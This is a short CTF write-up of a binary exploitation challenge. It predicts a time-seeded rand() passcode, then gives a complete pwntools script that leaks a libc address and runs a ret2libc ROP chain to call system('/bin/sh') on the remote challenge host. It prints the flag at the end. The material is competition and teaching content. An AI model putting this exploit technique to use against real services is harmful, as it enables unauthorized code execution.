1st 🩸
Author: Nuttyshell ivan
Analyse
"The '
srand
' here, though it uses 'time(0)
' as the parameter, is based on seconds, so you can directly run it locally to pass through. int initialize() { unsigned int v0; // eax int result; // eax setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stdout,0LL, 2, 0LL); setvbuf(stderr, 0LL, 2, 0LL); v0 = time(0LL); srand(v0); result = rand(); passcode = result; return result; }
After that, it's just the normal ROP.
The first ROP leaks the address of the '
getchar
' function through 'puts
' and eventually makes the program return to the 'command
' function. Then, find the '
/bin/sh
' and 'system
' addresses for the final ROP to get a shell.from pwn import * from ctypes import * elf=ELF('./pwn') # r=process('./pwn') r=remote('ash-chal.firebird.sh',36031) libc1=ELF('./libc6_2.27-3ubuntu1.5_amd64.so') context.log_level='debug' context.terminal=['tmux','splitw','-h'] context.arch='amd64' libc = CDLL('./libc6_2.27-3ubuntu1.5_amd64.so') time = libc.time(0) print(hex(time)) libc.srand(time) rand = libc.rand() print(hex(rand)) r.recvuntil(b'Please enter the passcode: ') r.sendline(bytes(str(rand),encoding='utf8')) pop_rdi = 0x0000000000400a13 r.recvuntil(b'Please enter your command: ') payload = b'a'*0x78 payload += flat(pop_rdi,elf.got['getchar'],elf.plt['puts'],elf.sym['command']) r.sendline(payload) r.recvuntil(b'Command received!\n') libc_base = u64(r.recv(6).ljust(8,b'\x00')) - libc1.symbols['getchar'] print(hex(libc_base)) bin_sh_addr = libc_base + next(libc1.search(b'/bin/sh')) system_addr = libc_base + libc1.symbols['system'] r.recvuntil(b'Please enter your command: ') payload = b'a'*0x78 payload += flat(pop_rdi,bin_sh_addr,0x00000000004006ae,system_addr) r.sendline(payload) # gdb.attach(r) r.interactive()
firebird{R3tu?n_tO_7h3_m00n_1969}
GLHF~